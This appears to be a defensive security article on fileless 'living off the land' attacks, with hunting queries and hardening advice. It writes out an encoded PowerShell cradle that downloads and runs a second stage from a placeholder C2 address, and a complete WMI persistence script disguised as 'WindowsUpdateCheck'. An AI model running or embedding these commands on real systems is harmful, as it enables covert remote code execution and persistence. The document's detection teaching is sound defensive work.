Fileless Malware: Living Off the Land Attack Techniques

In 2021, the Nobelium group behind SolarWinds never dropped a traditional executable on most victim machines. They used built-in Windows tools to move laterally, persist, and exfiltrate — leaving almost no artifacts on disk. This is living off the land (LotL) in practice, and it remains one of the hardest attack patterns to detect in 2026.

How Attackers Weaponize PowerShell Without Touching Disk

PowerShell is the Swiss Army knife of LotL attacks. An attacker who lands an initial foothold — say, through a phishing email or an unpatched Exchange server — can run an entire payload entirely in memory. No EXE. No DLL dropped to C:\Temp. Nothing for your AV scanner to hash.

Here is what a typical in-memory cradle looks like from an attacker’s perspective. The target machine is CORP-WS04, user jmartin, on the internal network at 192.0.2.47:

# Attacker runs this from a compromised session on CORP-WS04
powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADkAOQAvAHMAdABhAGcAZQAyACcAKQA=

# Decoded payload (Base64):
IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.99/stage2')

The -enc flag passes a Base64-encoded command — a classic obfuscation trick to slip past basic string matching. IEX (Invoke-Expression) downloads a second-stage script from the attacker’s C2 at 192.0.2.99 and executes it directly in memory. The script never touches the filesystem.

What does a defender do with this? First, that Base64 blob is trivially decoded. Run it through PowerShell itself or CyberChef and you immediately see the download URL. Second, the process chain matters: outlook.exe spawning powershell.exe with -w hidden is a loud signal. Hunt for it in your EDR with a query like parent_process == "outlook.exe" AND process_name == "powershell.exe". That combination has almost no legitimate use.

WMI Subscriptions: Persistence Without a Single Registry Key

Windows Management Instrumentation (WMI) — think of it as Windows’ built-in automation engine — can execute code in response to system events. Attackers use WMI event subscriptions to achieve persistence that survives reboots and never writes a traditional autorun entry. No HKLM\Run key. No scheduled task XML on disk.

Here is what creating a malicious WMI subscription looks like. The attacker is already running as SYSTEM on CORP-SRV01 (192.0.2.12):

# Create a WMI Event Filter (trigger: system boot)
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "WindowsUpdateCheck"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 3 AND TargetInstance.Minute = 0"
}

# Create a Consumer (action: run encoded PowerShell)
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "WindowsUpdateCheck"
    CommandLineTemplate = "powershell -nop -enc SQBFAFgA..."
}

# Bind them together
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Every night at 3:00 AM, WMI fires the consumer and executes that encoded PowerShell payload. No file on disk. The persistence lives entirely inside the WMI repository at C:\Windows\System32\wbem\Repository — a binary database most defenders never inspect.

To hunt this, query WMI subscriptions directly. On any Windows host, run:

Get-WMIObject -Namespace root\subscription -Class __EventFilter | Select Name, Query
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer | Select Name, CommandLineTemplate
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

In a healthy enterprise environment, legitimate WMI subscriptions are rare and well-documented. Anything named to impersonate a Windows process — WindowsUpdateCheck, MicrosoftDefenderSync — is immediately suspicious. Any CommandLineTemplate containing -enc, IEX, or a raw URL is a confirmed find. Pull the binding, identify when it was created, and cross-reference with logon events for that host at that timestamp.

Why Traditional AV Misses This — And What Actually Works

Signature-based antivirus scans files. Fileless attacks live in RAM, in WMI’s binary repository, or in scheduled task XML blobs stored in the registry. There is nothing to hash. Detection requires behavioral analysis and visibility into what processes are actually doing at runtime.

Three controls make the biggest difference:

• PowerShell Script Block Logging — logs the decoded content of every PowerShell command before it executes. Enable it via GPO under Administrative Templates > Windows Components > Windows PowerShell. This catches de-obfuscated payloads that -enc hides from simple command-line logging.
• Constrained Language Mode — restricts PowerShell to a safe subset of functionality. Most LotL cradles break immediately under CLM.
• WMI activity logging — enable Microsoft-Windows-WMI-Activity/Operational in Event Viewer and ship those logs to your SIEM. Every subscription creation generates an event.

What To Do Now

Pick one host — ideally a workstation in your environment that handles email — and run the three WMI subscription queries above right now. If you get back anything under root\subscription that you cannot immediately explain, treat it as a live incident. Cross-reference the creation time against authentication logs for that machine. Most organizations run these queries for the first time and find nothing. Some find something they wish they had looked for months ago.